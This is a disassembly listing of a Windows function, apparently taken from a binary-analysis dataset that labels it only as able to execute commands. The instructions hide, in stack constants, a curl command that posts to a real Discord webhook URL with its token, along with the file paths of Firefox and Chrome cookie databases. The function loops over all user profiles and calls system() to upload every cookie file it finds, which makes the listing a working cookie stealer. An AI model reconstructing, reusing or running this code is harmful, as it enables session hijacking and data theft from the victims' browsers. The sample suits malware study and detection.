Function at 0x140001450
Capabilities:
Execute command

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x318
lea rbp, [rsp + 0x80]
call dbg.__main
movabs rax, 0x746822206c727563
movabs rdx, 0x69642f2f3a737074
mov qword [rbp + 0x160], rax
mov qword [rbp + 0x168], rdx
movabs rax, 0x6f632e64726f6373
movabs rdx, 0x65772f6970612f6d
mov qword [rbp + 0x170], rax
mov qword [rbp + 0x178], rdx
movabs rax, 0x312f736b6f6f6862
movabs rdx, 0x3932353534303033
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], rdx
movabs rax, 0x3639323931313836
movabs rdx, 0x624c59632d2f3033
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x198], rdx
movabs rax, 0x64563559456a506f
movabs rdx, 0x5648775033725347
mov qword [rbp + 0x1a0], rax
mov qword [rbp + 0x1a8], rdx
movabs rax, 0x4c5542326a525742
movabs rdx, 0x41596435616e6e41
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x1b8], rdx
movabs rax, 0x5f7143704150344a
movabs rdx, 0x635742494155584f
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], rdx
movabs rax, 0x7a475f644b535952
movabs rdx, 0x226f46476b413954
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1d8], rdx
movabs rax, 0x6620462d20226f46
movabs rdx, 0x403d31656c69
mov qword [rbp + 0x1dd], rax
mov qword [rbp + 0x1e5], rdx
mov rax, qword [rbp + 0x160]
mov rdx, qword [rbp + 0x168]
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
mov rax, qword [rbp + 0x170]
mov rdx, qword [rbp + 0x178]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
mov rax, qword [rbp + 0x180]
mov rdx, qword [rbp + 0x188]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
mov rax, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x198]
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
mov rax, qword [rbp + 0x1a0]
mov rdx, qword [rbp + 0x1a8]
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rdx
mov rax, qword [rbp + 0x1b0]
mov rdx, qword [rbp + 0x1b8]
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rdx
mov rax, qword [rbp + 0x1c0]
mov rdx, qword [rbp + 0x1c8]
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], rdx
mov rax, qword [rbp + 0x1d0]
mov rdx, qword [rbp + 0x1d8]
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x148], rdx
mov rax, qword [rbp + 0x1dd]
mov rdx, qword [rbp + 0x1e5]
mov qword [rbp + 0x14d], rax
mov qword [rbp + 0x155], rdx
mov byte [rbp + 0x15d], 0
movabs rax, 0x617461447070415c
movabs rdx, 0x676e696d616f525c
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x616c6c697a6f4d5c
movabs rdx, 0x786f46657269465c
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x656c69666f72505c
mov edx, 0x5c73
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
mov rax, qword [rbp + 0xa0]
mov rdx, qword [rbp + 0xa8]
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
mov rax, qword [rbp + 0xb0]
mov rdx, qword [rbp + 0xb8]
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
mov rax, qword [rbp + 0xc0]
mov rdx, qword [rbp + 0xc8]
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
mov byte [rbp + 0x90], 0
movabs rax, 0x617461447070415c
movabs rdx, 0x475c6c61636f4c5c
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x68435c656c676f6f
movabs rdx, 0x6573555c656d6f72
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x7461442072657355
mov edx, 0x5c61
mov qword [rbp + 0x4d], rax
mov qword [rbp + 0x55], rdx
mov rax, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x38]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 0x40]
mov rdx, qword [rbp + 0x48]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x4d]
mov rdx, qword [rbp + 0x55]
mov qword [rbp + 0x1d], rax
mov qword [rbp + 0x25], rdx
mov byte [rbp + 0x2d], 0
movabs rax, 0x73726573555c3a43
mov qword [rbp - 0xb], rax
mov dword [rbp - 4], 0x5c73
mov rax, qword [rbp - 0xb]
mov qword [rbp - 0x17], rax
mov eax, dword [rbp - 4]
mov dword [rbp - 0x10], eax
mov byte [rbp - 0xc], 0
lea rax, [rbp - 0x17]
mov rcx, rax
call dbg.opendir
mov qword [rbp + 0x280], rax
cmp qword [rbp + 0x280], 0
jne 0x140001f3a
mov rax, qword [rbp + 0x280]
mov rcx, rax
call dbg.closedir
mov eax, 1
jmp 0x140001f72
mov rax, rsp
mov rsi, rax
lea rax, [rbp - 0x17]
mov rcx, rax
call sym.strlen
mov rbx, rax
mov rax, qword [rbp + 0x278]
add rax, 8
mov rcx, rax
call sym.strlen
add rbx, rax
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.strlen
add rax, rbx
add rax, 1
mov rdx, rax
sub rdx, 1
mov qword [rbp + 0x270], rdx
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.140003000
sub rsp, rax
lea rax, [rsp + 0x20]
add rax, 0
mov qword [rbp + 0x268], rax
lea rdx, [rbp - 0x17]
mov rax, qword [rbp + 0x268]
mov rcx, rax
call sym.strcpy
mov rax, qword [rbp + 0x278]
lea rdx, [rax + 8]
mov rax, qword [rbp + 0x268]
mov rcx, rax
call sym.strcat
lea rdx, [rbp + 0x60]
mov rax, qword [rbp + 0x268]
mov rcx, rax
call sym.strcat
mov rax, qword [rbp + 0x268]
mov rcx, rax
call dbg.opendir
mov qword [rbp + 0x260], rax
cmp qword [rbp + 0x260], 0
jne 0x140001bac
mov rax, qword [rbp + 0x260]
mov rcx, rax
call dbg.closedir
jmp 0x140001f37
mov rax, qword [rbp + 0x258]
add rax, 8
mov qword [rbp + 0x210], rax
lea rax, section..rdata
cmp qword [rbp + 0x210], rax
je 0x140001bac
lea rax, [0x140005002]
cmp qword [rbp + 0x210], rax
jne 0x140001954
jmp 0x140001bac
movabs rax, 0x7365696b6f6f635c
movabs rdx, 0x6574696c71732e
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
mov qword [rbp - 0x52], 0x65
movabs rax, 0x7365696b6f6f635c
movabs rdx, 0x2d6574696c71732e
mov qword [rbp - 0x4a], rax
mov qword [rbp - 0x42], rdx
movabs rdi, 0x6c61772d65
mov qword [rbp - 0x3c], rdi
mov qword [rbp - 0x34], rax
mov qword [rbp - 0x2c], rdx
movabs rax, 0x6d68732d65
mov qword [rbp - 0x26], rax
mov dword [rbp + 0x28c], 0
jmp 0x140001b9f
mov rax, rsp
mov rdi, rax
mov rax, qword [rbp + 0x268]
mov rcx, rax
call sym.strlen
mov rbx, rax
mov rax, qword [rbp + 0x210]
mov rcx, rax
call sym.strlen
add rbx, rax
lea rcx, [rbp - 0x60]
mov eax, dword [rbp + 0x28c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
add rax, rax
add rax, rdx
add rax, rax
add rax, rcx
mov rcx, rax
call sym.strlen
add rax, rbx
mov rdx, rax
sub rdx, 1
mov qword [rbp + 0x208], rdx
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.140003000
sub rsp, rax
lea rax, [rsp + 0x20]
add rax, 0
mov qword [rbp + 0x200], rax
mov rdx, qword [rbp + 0x268]
mov rax, qword [rbp + 0x200]
mov rcx, rax
call sym.strcpy
mov rdx, qword [rbp + 0x210]
mov rax, qword [rbp + 0x200]
mov rcx, rax
call sym.strcat
lea rcx, [rbp - 0x60]
mov eax, dword [rbp + 0x28c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
add rax, rax
add rax, rdx
add rax, rax
lea rdx, [rcx + rax]
mov rax, qword [rbp + 0x200]
mov rcx, rax
call sym.strcat
mov rax, qword [rbp + 0x200]
mov edx, 0
mov rcx, rax
call dbg.access
cmp eax, 0xffffffff
jne 0x140001ad1
mov rsp, rdi
jmp 0x140001b98
mov rax, qword [rbp + 0x200]
mov rcx, rax
call sym.strlen
add rax, 0x92
mov rdx, rax
sub rdx, 1
mov qword [rbp + 0x1f8], rdx
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.140003000
sub rsp, rax
lea rax, [rsp + 0x20]
add rax, 0
mov qword [rbp + 0x1f0], rax
lea rdx, [rbp + 0xd0]
mov rax, qword [rbp + 0x1f0]
mov rcx, rax
call sym.strcpy
mov rax, qword [rbp + 0x1f0]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp + 0x1f0]
add rax, rdx
mov word [rax], 0x22
mov rdx, qword [rbp + 0x200]
mov rax, qword [rbp + 0x1f0]
mov rcx, rax
call sym.strcat
mov rax, qword [rbp + 0x1f0]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp + 0x1f0]
add rax, rdx
mov word [rax], 0x22
mov rax, qword [rbp + 0x1f0]
mov rcx, rax
call sym.system
mov rsp, rdi
add dword [rbp + 0x28c], 1
cmp dword [rbp + 0x28c], 2
jle 0x1400019c7
mov rax, qword [rbp + 0x260]
mov rcx, rax
call dbg.readdir
mov qword [rbp + 0x258], rax
cmp qword [rbp + 0x258], 0
jne 0x140001919
mov rax, qword [rbp + 0x260]
mov rcx, rax
call dbg.closedir
lea rax, [rbp - 0x17]
mov rcx, rax
call sym.strlen
mov rbx, rax
mov rax, qword [rbp + 0x278]
add rax, 8
mov rcx, rax
call sym.strlen
add rbx, rax
mov rax, rbp
mov rcx, rax
call sym.strlen
add rax, rbx
add rax, 1
mov rdx, rax
sub rdx, 1
mov qword [rbp + 0x250], rdx
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.140003000
sub rsp, rax
lea rax, [rsp + 0x20]
add rax, 0
mov qword [rbp + 0x248], rax
lea rdx, [rbp - 0x17]
mov rax, qword [rbp + 0x248]
mov rcx, rax
call sym.strcpy
mov rax, qword [rbp + 0x278]
lea rdx, [rax + 8]
mov rax, qword [rbp + 0x248]
mov rcx, rax
call sym.strcat
mov rdx, rbp
mov rax, qword [rbp + 0x248]
mov rcx, rax
call sym.strcat
mov rax, qword [rbp + 0x248]
mov rcx, rax
call dbg.opendir
mov qword [rbp + 0x240], rax
cmp qword [rbp + 0x240], 0
je 0x140001f36
jmp 0x140001f0d
movabs rax, 0x6b726f7774654e5c
movabs rdx, 0x7365696b6f6f435c
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
movabs rcx, 0x7365696b6f
mov ebx, 0
mov qword [rbp - 0x55], rcx
mov qword [rbp - 0x4d], rbx
mov qword [rbp - 0x45], rax
mov qword [rbp - 0x3d], rdx
movabs rax, 0x6f6a2d7365696b6f
movabs rdx, 0x6c616e7275
mov qword [rbp - 0x3a], rax
mov qword [rbp - 0x32], rdx
mov dword [rbp + 0x288], 0
jmp 0x140001f00
mov rax, rsp
mov rdi, rax
mov rax, qword [rbp + 0x248]
mov rcx, rax
call sym.strlen
mov rbx, rax
mov rax, qword [rbp + 0x238]
add rax, 8
mov rcx, rax
call sym.strlen
add rbx, rax
lea rcx, [rbp - 0x60]
mov eax, dword [rbp + 0x288]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
lea rdx, [rax*8]
add rax, rdx
add rax, rcx
mov rcx, rax
call sym.strlen
add rax, rbx
add rax, 1
mov rdx, rax
sub rdx, 1
mov qword [rbp + 0x230], rdx
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.140003000
sub rsp, rax
lea rax, [rsp + 0x20]
add rax, 0
mov qword [rbp + 0x228], rax
mov rdx, qword [rbp + 0x248]
mov rax, qword [rbp + 0x228]
mov rcx, rax
call sym.strcpy
mov rax, qword [rbp + 0x238]
lea rdx, [rax + 8]
mov rax, qword [rbp + 0x228]
mov rcx, rax
call sym.strcat
lea rcx, [rbp - 0x60]
mov eax, dword [rbp + 0x288]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
lea rdx, [rax*8]
add rax, rdx
lea rdx, [rcx + rax]
mov rax, qword [rbp + 0x228]
mov rcx, rax
call sym.strcat
mov rax, qword [rbp + 0x228]
mov edx, 0
mov rcx, rax
call dbg.access
test eax, eax
jne 0x140001ef6
mov rax, rsp
mov rbx, rax
mov rax, qword [rbp + 0x228]
mov rcx, rax
call sym.strlen
add rax, 0x92
mov rdx, rax
sub rdx, 1
mov qword [rbp + 0x220], rdx
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.140003000
sub rsp, rax
lea rax, [rsp + 0x20]
add rax, 0
mov qword [rbp + 0x218], rax
lea rdx, [rbp + 0xd0]
mov rax, qword [rbp + 0x218]
mov rcx, rax
call sym.strcpy
mov rax, qword [rbp + 0x218]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp + 0x218]
add rax, rdx
mov word [rax], 0x22
mov rdx, qword [rbp + 0x228]
mov rax, qword [rbp + 0x218]
mov rcx, rax
call sym.strcat
mov rax, qword [rbp + 0x218]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp + 0x218]
add rax, rdx
mov word [rax], 0x22
mov rax, qword [rbp + 0x218]
mov rcx, rax
call sym.system
mov rsp, rbx
mov rsp, rdi
add dword [rbp + 0x288], 1
cmp dword [rbp + 0x288], 1
jle 0x140001d16
mov rax, qword [rbp + 0x240]
mov rcx, rax
call dbg.readdir
mov qword [rbp + 0x238], rax
cmp qword [rbp + 0x238], 0
jne 0x140001cb0
mov rsp, rsi
jmp 0x140001f3a
nop
mov rsp, rsi
mov rax, qword [rbp + 0x280]
mov rcx, rax
call dbg.readdir
mov qword [rbp + 0x278], rax
cmp qword [rbp + 0x278], 0
jne 0x140001831
mov rax, qword [rbp + 0x280]
mov rcx, rax
call dbg.closedir
mov eax, 0
lea rsp, [rbp + 0x298]
pop rbx
pop rsi
pop rdi
pop rbp
ret